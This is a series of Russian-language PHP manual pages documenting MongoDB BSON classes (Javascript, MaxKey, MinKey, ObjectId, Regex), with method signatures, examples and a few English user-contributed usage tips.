(mongodb >=1.2.0)

MongoDB\BSON\Javascript::serialize — Сериализовать JavaScript

Описание

final public MongoDB\BSON\Javascript::serialize(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованное представление MongoDB\BSON\Javascript.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\Javascript::unserialize() - Десериализовать JavaScript
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает код JavaScript

  • « MongoDB\BSON\Javascript::serialize
  • MongoDB\BSON\Javascript::unserialize »
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Возвращает код JavaScript

MongoDB\BSON\Javascript::__toString

(mongodb >=1.2.0)

MongoDB\BSON\Javascript::__toString — Возвращает код JavaScript

Описание

final public MongoDB\BSON\Javascript::__toString(): string

Метод является псевдонимом: MongoDB\BSON\Javascript::getCode().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает код JavaScript.

Примеры

Пример #1 Пример использования MongoDB\BSON\Javascript::__toString()

<?php

var_dump((string) new MongoDB\BSON\Javascript('function foo(bar) { return bar; }'));

?>

Результат выполнения данного примера:

string(33) "function foo(bar) { return bar; }"

Смотрите также

  • MongoDB\BSON\Javascript::getCode() - Возвращает код JavaScript
  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Десериализовать JavaScript

  • « MongoDB\BSON\Javascript::__toString
  • MongoDB\BSON\MaxKey »
  • PHP Manual
  • MongoDB\BSON\Javascript
  • Десериализовать JavaScript

MongoDB\BSON\Javascript::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\Javascript::unserialize — Десериализовать JavaScript

Описание

final public MongoDB\BSON\Javascript::unserialize(string $data): void

Список параметров

data

Сериализованный MongoDB\BSON\Javascript.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывает MongoDB\Driver\Exception\UnexpectedValueException, если свойства не могут быть десериализованы (т.е. serialized неверный).
  • Выбрасывает MongoDB\Driver\Exception\InvalidArgumentException, если свойства некорректные (например, отсутствующие поля или неверные неправильные значения).

Смотрите также

  • MongoDB\BSON\Javascript::serialize() - Сериализовать JavaScript
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\BSON\MaxKey

(mongodb >=1.0.0)

Введение

Специальный тип BSON, который сравнивает выше всех других возможных значений элемента BSON.

Замечание: Это внутренний тип MongoDB, используемый для индексации и шардинга.

Обзор классов

final class MongoDB\BSON\MaxKey implements MongoDB\BSON\MaxKeyInterface, MongoDB\BSON\Type, Serializable, JsonSerializable {
/* Методы */
final public __construct()
final public jsonSerialize(): mixed
final public serialize(): string
final public unserialize(string $data): void
}

Список изменений

Версия | Описание
PECL mongodb 1.3.0 | Реализует интерфейс MongoDB\BSON\MaxKeyInterface.
PECL mongodb 1.2.0 | Реализует интерфейсы Serializable и JsonSerializable.

Содержание

  • MongoDB\BSON\MaxKey::__construct — Конструктор MaxKey
  • MongoDB\BSON\MaxKey::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
  • MongoDB\BSON\MaxKey::serialize — Сериализует MaxKey
  • MongoDB\BSON\MaxKey::unserialize — Десериализует MaxKey

User Contributed Notes

There are no user contributed notes for this page.


Конструктор MaxKey

  • « MongoDB\BSON\MaxKey
  • MongoDB\BSON\MaxKey::jsonSerialize »
  • PHP Manual
  • MongoDB\BSON\MaxKey
  • Конструктор MaxKey

MongoDB\BSON\MaxKey::__construct

(mongodb >=1.0.0)

MongoDB\BSON\MaxKey::__construct — Конструктор MaxKey

Описание

final public MongoDB\BSON\MaxKey::__construct()

Список параметров

У этой функции нет параметров.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\BSON\MaxKey::__construct()

<?php

var_dump(new MongoDB\BSON\MaxKey());

?>

Результат выполнения данного примера:

object(MongoDB\BSON\MaxKey)#1 (0) {
}

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает представление, которое можно преобразовать в JSON

  • « MongoDB\BSON\MaxKey::__construct
  • MongoDB\BSON\MaxKey::serialize »
  • PHP Manual
  • MongoDB\BSON\MaxKey
  • Возвращает представление, которое можно преобразовать в JSON

MongoDB\BSON\MaxKey::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\MaxKey::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON

Описание

final public MongoDB\BSON\MaxKey::jsonSerialize(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает данные, которые могут быть сериализованы с помощью json_encode() для создания расширенного JSON-представления MongoDB\BSON\MaxKey.

Замечание: Вывод соответствует выводу функции MongoDB\BSON\toJSON(), которая использует унаследованный, специфичный для драйвера, расширенный формат JSON. Он не обязательно будет подходить под » relaxed или » canonical представления расширенного JSON, используемых в MongoDB\BSON\toRelaxedExtendedJSON() и MongoDB\BSON\toCanonicalExtendedJSON(), соответственно.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • JsonSerializable::jsonSerialize() - Задаёт данные, которые должны быть сериализованы в JSON
  • json_encode() - Возвращает JSON-представление данных
  • MongoDB\BSON\toCanonicalExtendedJSON() - Возвращает Canonical Extended JSON представление для значения BSON
  • MongoDB\BSON\toRelaxedExtendedJSON() - Возвращает Relaxed Extended JSON представление значения BSON
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Сериализует MaxKey

  • « MongoDB\BSON\MaxKey::jsonSerialize
  • MongoDB\BSON\MaxKey::unserialize »
  • PHP Manual
  • MongoDB\BSON\MaxKey
  • Сериализует MaxKey

MongoDB\BSON\MaxKey::serialize

(mongodb >=1.2.0)

MongoDB\BSON\MaxKey::serialize — Сериализует MaxKey

Описание

final public MongoDB\BSON\MaxKey::serialize(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованное представление MongoDB\BSON\MaxKey.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\MaxKey::unserialize() - Десериализует MaxKey
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Десериализует MaxKey

  • « MongoDB\BSON\MaxKey::serialize
  • MongoDB\BSON\MinKey »
  • PHP Manual
  • MongoDB\BSON\MaxKey
  • Десериализует MaxKey

MongoDB\BSON\MaxKey::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\MaxKey::unserialize — Десериализует MaxKey

Описание

final public MongoDB\BSON\MaxKey::unserialize(string $data): void

Список параметров

data

Сериализованный MongoDB\BSON\MaxKey.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\MaxKey::serialize() - Сериализует MaxKey
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\BSON\MinKey

(mongodb >=1.0.0)

Введение

Специальный тип BSON, который сравнивает ниже всех других возможных значений элемента BSON.

Замечание: Это внутренний тип MongoDB, используемый для индексации и шардинга.

Обзор классов

final class MongoDB\BSON\MinKey implements MongoDB\BSON\MinKeyInterface, MongoDB\BSON\Type, Serializable, JsonSerializable {
/* Методы */
final public __construct()
final public jsonSerialize(): mixed
final public serialize(): string
final public unserialize(string $data): void
}

Список изменений

Версия | Описание
PECL mongodb 1.3.0 | Реализует интерфейс MongoDB\BSON\MinKeyInterface.
PECL mongodb 1.2.0 | Реализует интерфейсы Serializable и JsonSerializable.

Содержание

  • MongoDB\BSON\MinKey::__construct — Конструктор MinKey
  • MongoDB\BSON\MinKey::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
  • MongoDB\BSON\MinKey::serialize — Сериализует MinKey
  • MongoDB\BSON\MinKey::unserialize — Десериализует MinKey

User Contributed Notes

There are no user contributed notes for this page.


Конструктор MinKey

  • « MongoDB\BSON\MinKey
  • MongoDB\BSON\MinKey::jsonSerialize »
  • PHP Manual
  • MongoDB\BSON\MinKey
  • Конструктор MinKey

MongoDB\BSON\MinKey::__construct

(mongodb >=1.0.0)

MongoDB\BSON\MinKey::__construct — Конструктор MinKey

Описание

final public MongoDB\BSON\MinKey::__construct()

Список параметров

У этой функции нет параметров.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\BSON\MinKey::__construct()

<?php

var_dump(new MongoDB\BSON\MinKey());

?>

Результат выполнения данного примера:

object(MongoDB\BSON\MinKey)#1 (0) {
}

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает представление, которое можно преобразовать в JSON

  • « MongoDB\BSON\MinKey::__construct
  • MongoDB\BSON\MinKey::serialize »
  • PHP Manual
  • MongoDB\BSON\MinKey
  • Возвращает представление, которое можно преобразовать в JSON

MongoDB\BSON\MinKey::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\MinKey::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON

Описание

final public MongoDB\BSON\MinKey::jsonSerialize(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает данные, которые могут быть сериализованы с помощью json_encode() для создания расширенного JSON-представления MongoDB\BSON\MinKey.

Замечание: Вывод соответствует выводу функции MongoDB\BSON\toJSON(), которая использует унаследованный, специфичный для драйвера, расширенный формат JSON. Он не обязательно будет подходить под » relaxed или » canonical представления расширенного JSON, используемых в MongoDB\BSON\toRelaxedExtendedJSON() и MongoDB\BSON\toCanonicalExtendedJSON(), соответственно.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • JsonSerializable::jsonSerialize() - Задаёт данные, которые должны быть сериализованы в JSON
  • json_encode() - Возвращает JSON-представление данных
  • MongoDB\BSON\toCanonicalExtendedJSON() - Возвращает Canonical Extended JSON представление для значения BSON
  • MongoDB\BSON\toRelaxedExtendedJSON() - Возвращает Relaxed Extended JSON представление значения BSON
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Сериализует MinKey

  • « MongoDB\BSON\MinKey::jsonSerialize
  • MongoDB\BSON\MinKey::unserialize »
  • PHP Manual
  • MongoDB\BSON\MinKey
  • Сериализует MinKey

MongoDB\BSON\MinKey::serialize

(mongodb >=1.2.0)

MongoDB\BSON\MinKey::serialize — Сериализует MinKey

Описание

final public MongoDB\BSON\MinKey::serialize(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованное представление MongoDB\BSON\MinKey.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\MinKey::unserialize() - Десериализует MinKey
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Десериализует MinKey

  • « MongoDB\BSON\MinKey::serialize
  • MongoDB\BSON\ObjectId »
  • PHP Manual
  • MongoDB\BSON\MinKey
  • Десериализует MinKey

MongoDB\BSON\MinKey::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\MinKey::unserialize — Десериализует MinKey

Описание

final public MongoDB\BSON\MinKey::unserialize(string $data): void

Список параметров

data

Сериализованный MongoDB\BSON\MinKey.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\MinKey::serialize() - Сериализует MinKey
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\BSON\ObjectId

(mongodb >=1.0.0)

Введение

Тип BSON для » ObjectId. Значение состоит из 12 байтов, где первые четыре байта являются меткой времени, которая отражает создание ObjectId. В частности, значение состоит из:

  • 4-байтовое значение, представляющее секунды с начала эпохи Unix,
  • 5-байтовое случайное число, уникальное для машины и процесса, и
  • 3-байтовый счётчик, начинающийся со случайного значения.

В MongoDB каждый документ, хранящийся в коллекции, требует уникального поля _id, которое действует как первичный ключ. Если во вставленном документе пропущено поле _id, драйвер автоматически создаёт ObjectId для поля _id.

Использование ObjectIds для поля _id обеспечивает следующие дополнительные преимущества:

  • Время создания ObjectId можно получить с помощью метода MongoDB\BSON\ObjectId::getTimestamp().
  • Сортировка по полю _id, в котором хранятся значения ObjectId, примерно эквивалентна сортировке по времени создания.

Обзор классов

final class MongoDB\BSON\ObjectId implements MongoDB\BSON\ObjectIdInterface, MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* Методы */
final public __construct(?string $id = null)
final public getTimestamp(): int
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

Список изменений

Версия | Описание
PECL mongodb 1.12.0 | Реализует интерфейс Stringable для PHP 8.0+.
PECL mongodb 1.3.0 | Переименован из MongoDB\BSON\ObjectID в MongoDB\BSON\ObjectId. Реализует интерфейс MongoDB\BSON\ObjectIdInterface.
PECL mongodb 1.2.0 | Реализует интерфейсы Serializable и JsonSerializable.

Содержание

  • MongoDB\BSON\ObjectId::__construct — Создаёт новый ObjectId
  • MongoDB\BSON\ObjectId::getTimestamp — Возвращает метку времени ObjectId
  • MongoDB\BSON\ObjectId::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
  • MongoDB\BSON\ObjectId::serialize — Сериализует ObjectId
  • MongoDB\BSON\ObjectId::__toString — Возвращает шестнадцатеричное представление ObjectId
  • MongoDB\BSON\ObjectId::unserialize — Десериализует ObjectId

User Contributed Notes

Mike T 25-May-2018 12:58
Worth noting this will throw an InvalidArgumentException if string is not in the correct format
naip1984 at gmail dot com 20-Dec-2017 01:44
I struggled for awhile to identify the way to find() using a ObjectID

This seems to work, I hope this helps someone else out.

$mongoId = '5a2493c33c95a1281836eb6a';

$collection->find(['_id'=> new MongoDB\BSON\ObjectId("$mongoId")]);

I found it here:   https://docs.mongodb.com/php-library/current/reference/method/MongoDBCollection-findOne/

Note this is for the PHP library, not the legacy library.


Создаёт новый ObjectId

  • « MongoDB\BSON\ObjectId
  • MongoDB\BSON\ObjectId::getTimestamp »
  • PHP Manual
  • MongoDB\BSON\ObjectId
  • Создаёт новый ObjectId

MongoDB\BSON\ObjectId::__construct

(mongodb >=1.0.0)

MongoDB\BSON\ObjectId::__construct — Создаёт новый ObjectId

Описание

final public MongoDB\BSON\ObjectId::__construct(?string $id = null)

Список параметров

id (string)

24-символьная шестнадцатеричная строка. Если не указано, драйвер сгенерирует ObjectId.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выдаёт исключение MongoDB\Driver\Exception\InvalidArgumentException если id не является 24-символьной шестнадцатеричной строкой.

Примеры

Пример #1 Пример использования MongoDB\BSON\ObjectId::__construct()

<?php

var_dump(new MongoDB\BSON\ObjectId());

var_dump(new MongoDB\BSON\ObjectId('000000000000000000000001'));

?>

Результатом выполнения данного примера будет что-то подобное:

object(MongoDB\BSON\ObjectId)#1 (1) {
  ["oid"]=>
  string(24) "56732d3dda14d81214634921"
}
object(MongoDB\BSON\ObjectId)#1 (1) {
  ["oid"]=>
  string(24) "000000000000000000000001"
}

Смотрите также

  • » Справка по ObjectId
  • » Типы BSON: ObjectId

User Contributed Notes

fejlesztes at letscode dot hu 22-Jan-2016 01:35
If you pass NULL to the __construct() method, it wont throw exceptions, nor errors, but prematurely ends the PHP processing (so it produced an 502 response over nginx), not like the legacy MongoId class.


Возвращает метку времени ObjectId

  • « MongoDB\BSON\ObjectId::__construct
  • MongoDB\BSON\ObjectId::jsonSerialize »
  • PHP Manual
  • MongoDB\BSON\ObjectId
  • Возвращает метку времени ObjectId

MongoDB\BSON\ObjectId::getTimestamp

(mongodb >=1.2.0)

MongoDB\BSON\ObjectId::getTimestamp — Возвращает метку времени ObjectId

Описание

final public MongoDB\BSON\ObjectId::getTimestamp(): int

Компонент метки времени в ObjectId - это его наиболее значимые 32 бита, которые обозначают количество секунд с начала эпохи Unix. Это значение читается, как 32-разрядное целое число без знака с порядком байтов в старшем порядке.

Замечание: Так как целочисленный тип в PHP является знаковым, некоторые значения, полученные с помощью этого метода, могут превратиться в отрицательные целые числа на 32-битных платформах. Для получения строкового представления беззнакового целого можно воспользоваться шаблоном форматирования "%u" функции sprintf().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает метку времени ObjectId.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\BSON\ObjectId::getTimestamp()

<?php

var_dump((new MongoDB\BSON\ObjectId())->getTimestamp());

var_dump((new MongoDB\BSON\ObjectId('0000002a0000000000000000'))->getTimestamp());

?>

Результатом выполнения данного примера будет что-то подобное:

integer(1484854719)
integer(42)

Смотрите также

  • » Справка по ObjectId
  • » Типы BSON: ObjectId

User Contributed Notes

There are no user contributed notes for this page.


Возвращает представление, которое можно преобразовать в JSON

  • « MongoDB\BSON\ObjectId::getTimestamp
  • MongoDB\BSON\ObjectId::serialize »
  • PHP Manual
  • MongoDB\BSON\ObjectId
  • Возвращает представление, которое можно преобразовать в JSON

MongoDB\BSON\ObjectId::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\ObjectId::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON

Описание

final public MongoDB\BSON\ObjectId::jsonSerialize(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает данные, которые могут быть сериализованы с помощью json_encode() для создания расширенного JSON-представления MongoDB\BSON\ObjectId.

Замечание: Вывод соответствует выводу функции MongoDB\BSON\toJSON(), которая использует унаследованный, специфичный для драйвера, расширенный формат JSON. Он не обязательно будет подходить под » relaxed или » canonical представления расширенного JSON, используемых в MongoDB\BSON\toRelaxedExtendedJSON() и MongoDB\BSON\toCanonicalExtendedJSON(), соответственно.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • JsonSerializable::jsonSerialize() - Задаёт данные, которые должны быть сериализованы в JSON
  • json_encode() - Возвращает JSON-представление данных
  • MongoDB\BSON\toCanonicalExtendedJSON() - Возвращает Canonical Extended JSON представление для значения BSON
  • MongoDB\BSON\toRelaxedExtendedJSON() - Возвращает Relaxed Extended JSON представление значения BSON
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Сериализует ObjectId

  • « MongoDB\BSON\ObjectId::jsonSerialize
  • MongoDB\BSON\ObjectId::__toString »
  • PHP Manual
  • MongoDB\BSON\ObjectId
  • Сериализует ObjectId

MongoDB\BSON\ObjectId::serialize

(mongodb >=1.2.0)

MongoDB\BSON\ObjectId::serialize — Сериализует ObjectId

Описание

final public MongoDB\BSON\ObjectId::serialize(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованное представление MongoDB\BSON\ObjectId.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\ObjectId::unserialize() - Десериализует ObjectId
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает шестнадцатеричное представление ObjectId

  • « MongoDB\BSON\ObjectId::serialize
  • MongoDB\BSON\ObjectId::unserialize »
  • PHP Manual
  • MongoDB\BSON\ObjectId
  • Возвращает шестнадцатеричное представление ObjectId

MongoDB\BSON\ObjectId::__toString

(mongodb >=1.0.0)

MongoDB\BSON\ObjectId::__toString — Возвращает шестнадцатеричное представление ObjectId

Описание

final public MongoDB\BSON\ObjectId::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает шестнадцатеричное представление ObjectId.

Примеры

Пример #1 Пример использования MongoDB\BSON\ObjectId::__toString()

<?php

var_dump((string) new MongoDB\BSON\ObjectId());
var_dump((string) new MongoDB\BSON\ObjectId('000000000000000000000001'));

?>

Результатом выполнения данного примера будет что-то подобное:

string(24) "56731b49da14d8747d701211"
string(24) "000000000000000000000001"

Смотрите также

  • » Справка по ObjectId
  • » Типы BSON: ObjectId

User Contributed Notes

Jared C. 14-Jul-2016 03:31
I found I had to manually call the __toString method when I was trying to populate an associative array of mongoguid => stringValue:

        $filter = [];
        $options = [];
        $this->propertyMap = [];
        try {
            $query = new \MongoDB\Driver\Query($filter, $options);
            $cursor = $this->mongo->executeQuery('MyDbName.MyColectionName', $query);
        } catch (Exception $e) {
            echo "Mongo Query failure pulling the collection" . PHP_EOL;
            echo($e->getMessage());
            die("aborting");
        }
        foreach ($cursor as $property) {
            //$this->propertyMap[$property->{_id}->__toString()] = $property->name;
            $this->propertyMap[$property->name] = $property->{_id}->__toString();
        }

You could also do it as $property->{_id} . "" to get the same string result.  Otherwise you end up with an array of MongoDB\BSON\ObjectID objects.


Десериализует ObjectId

  • « MongoDB\BSON\ObjectId::__toString
  • MongoDB\BSON\Regex »
  • PHP Manual
  • MongoDB\BSON\ObjectId
  • Десериализует ObjectId

MongoDB\BSON\ObjectId::unserialize

(mongodb >=1.2.0)

MongoDB\BSON\ObjectId::unserialize — Десериализует ObjectId

Описание

final public MongoDB\BSON\ObjectId::unserialize(string $data): void

Список параметров

data

Сериализованный MongoDB\BSON\ObjectId.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выдаёт исключение MongoDB\Driver\Exception\UnexpectedValueException, если свойства не могут быть десериализованы (например, serialized был неправильно сформирован).
  • Выдаёт исключение MongoDB\Driver\Exception\InvalidArgumentException, если свойства недействительны (например, отсутствуют поля или недопустимые значения).

Смотрите также

  • MongoDB\BSON\ObjectId::serialize() - Сериализует ObjectId
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\BSON\Regex

(mongodb >=1.0.0)

Введение

Тип BSON для шаблона регулярного выражения и дополнительные » флаги.

Замечание: Этот тип BSON в основном используется при запросах к базе данных. В качестве альтернативы можно использовать оператор запроса » $regex.

Обзор классов

final class MongoDB\BSON\Regex implements MongoDB\BSON\RegexInterface, MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* Методы */
final public __construct(string $pattern, string $flags = "")
final public getFlags(): string
final public getPattern(): string
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

Список изменений

Версия | Описание
PECL mongodb 1.12.0 | Реализует интерфейс Stringable для PHP 8.0+.
PECL mongodb 1.3.0 | Реализует интерфейс MongoDB\BSON\RegexInterface.
PECL mongodb 1.2.0 | Реализует интерфейсы Serializable и JsonSerializable.

Содержание

  • MongoDB\BSON\Regex::__construct — Создаёт новый Regex
  • MongoDB\BSON\Regex::getFlags — Возвращает флаги Regex
  • MongoDB\BSON\Regex::getPattern — Возвращает шаблон Regex
  • MongoDB\BSON\Regex::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
  • MongoDB\BSON\Regex::serialize — Сериализует Regex
  • MongoDB\BSON\Regex::__toString — Возвращает строковое представление Regex
  • MongoDB\BSON\Regex::unserialize — Десериализует Regex

User Contributed Notes

anD 08-Jul-2017 12:28
Refer the example at:
http://docs.php.net/manual/en/mongodb-bson-regex.construct.php#refsect1-mongodb-bson-regex.construct-examples
aws dot htc at gmail dot com 27-Sep-2016 06:26
Example
Find names that start with "Al"

$regex = new MongoDB\BSON\Regex ( '^Al');
$cursor = $collection->find(array('name' => $regex));
//iterate through the cursor


Создаёт новый Regex

  • « MongoDB\BSON\Regex
  • MongoDB\BSON\Regex::getFlags »
  • PHP Manual
  • MongoDB\BSON\Regex
  • Создаёт новый Regex

MongoDB\BSON\Regex::__construct

(mongodb >=1.0.0)

MongoDB\BSON\Regex::__construct — Создаёт новый Regex

Описание

final public MongoDB\BSON\Regex::__construct(string $pattern, string $flags = "")

Список параметров

pattern (string)

Шаблон регулярного выражения.

Замечание: Шаблон не должен быть заключён в символы-разделители.

flags (string)

» Флаги регулярных выражений. Символы в этом аргументе будут отсортированы в алфавитном порядке.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выдаёт MongoDB\Driver\Exception\InvalidArgumentException, если pattern или flags содержат нулевые байты.

Список изменений

Версия Описание
PECL mongodb 1.2.0

Аргумент flags является необязательным и по умолчанию равен пустой строке.

Символы в аргументе flags будут отсортированы в алфавитном порядке при построении регулярного выражения. Ранее символы хранились в указанном порядке.

Выдаётся MongoDB\Driver\Exception\InvalidArgumentException, если pattern или flags содержат нулевые байты. Ранее значения были бы обрезаны в первом нулевом байте.

Примеры

Пример #1 Пример использования MongoDB\BSON\Regex::__construct()

<?php

$regex = new MongoDB\BSON\Regex('^foo', 'i');
var_dump($regex);

?>

Результат выполнения данного примера:

object(MongoDB\BSON\Regex)#1 (2) {
  ["pattern"]=>
  string(4) "^foo"
  ["flags"]=>
  string(1) "i"
}

Смотрите также

  • » Типы BSON
  • » Поддерживаемые флаги регулярных выражений

User Contributed Notes

Alejandro Wilcke 06-Sep-2019 02:32
This matches with any fieldName that includes the string:
$mongoRegex = new MongoDB\BSON\Regex("$string", "i");

This matches with any fieldName that STARTS with the string:
$mongoRegex = new MongoDB\BSON\Regex("^$string", "i");

$cursor = $collection->find( [ 'fieldName' => $mongoRegex ] );

$docs = [];

foreach($cursor as $doc){
     $docs[] = $doc;
}

return $docs;


Возвращает флаги Regex

  • « MongoDB\BSON\Regex::__construct
  • MongoDB\BSON\Regex::getPattern »
  • PHP Manual
  • MongoDB\BSON\Regex
  • Возвращает флаги Regex

MongoDB\BSON\Regex::getFlags

(mongodb >=1.0.0)

MongoDB\BSON\Regex::getFlags — Возвращает флаги Regex

Описание

final public MongoDB\BSON\Regex::getFlags(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает флаги Regex.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\BSON\Regex::getFlags()

<?php

$regex = new MongoDB\BSON\Regex('regex', 'i');
var_dump($regex->getFlags());

?>

Результатом выполнения данного примера будет что-то подобное:

string(1) "i"

Смотрите также

  • » Типы BSON
  • » Поддерживаемые флаги регулярных выражений

User Contributed Notes

There are no user contributed notes for this page.


Возвращает шаблон Regex

  • « MongoDB\BSON\Regex::getFlags
  • MongoDB\BSON\Regex::jsonSerialize »
  • PHP Manual
  • MongoDB\BSON\Regex
  • Возвращает шаблон Regex

MongoDB\BSON\Regex::getPattern

(mongodb >=1.0.0)

MongoDB\BSON\Regex::getPattern — Возвращает шаблон Regex

Описание

final public MongoDB\BSON\Regex::getPattern(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает шаблон Regex.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Примеры

Пример #1 Пример использования MongoDB\BSON\Regex::getPattern()

<?php

$regex = new MongoDB\BSON\Regex('regex', 'i');
var_dump($regex->getPattern());

?>

Результатом выполнения данного примера будет что-то подобное:

string(5) "regex"

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает представление, которое можно преобразовать в JSON

  • « MongoDB\BSON\Regex::getPattern
  • MongoDB\BSON\Regex::serialize »
  • PHP Manual
  • MongoDB\BSON\Regex
  • Возвращает представление, которое можно преобразовать в JSON

MongoDB\BSON\Regex::jsonSerialize

(mongodb >=1.2.0)

MongoDB\BSON\Regex::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON

Описание

final public MongoDB\BSON\Regex::jsonSerialize(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает данные, которые могут быть сериализованы с помощью json_encode() для создания расширенного JSON-представления MongoDB\BSON\Regex.

Замечание: Вывод соответствует выводу функции MongoDB\BSON\toJSON(), которая использует унаследованный, специфичный для драйвера, расширенный формат JSON. Он не обязательно будет подходить под » relaxed или » canonical представления расширенного JSON, используемых в MongoDB\BSON\toRelaxedExtendedJSON() и MongoDB\BSON\toCanonicalExtendedJSON(), соответственно.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • JsonSerializable::jsonSerialize() - Задаёт данные, которые должны быть сериализованы в JSON
  • json_encode() - Возвращает JSON-представление данных
  • MongoDB\BSON\toCanonicalExtendedJSON() - Возвращает Canonical Extended JSON представление для значения BSON
  • MongoDB\BSON\toRelaxedExtendedJSON() - Возвращает Relaxed Extended JSON представление значения BSON
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Сериализует Regex

  • « MongoDB\BSON\Regex::jsonSerialize
  • MongoDB\BSON\Regex::__toString »
  • PHP Manual
  • MongoDB\BSON\Regex
  • Сериализует Regex

MongoDB\BSON\Regex::serialize

(mongodb >=1.2.0)

MongoDB\BSON\Regex::serialize — Сериализует Regex

Описание

final public MongoDB\BSON\Regex::serialize(): string

Список параметров

У этой функции нет параметров.

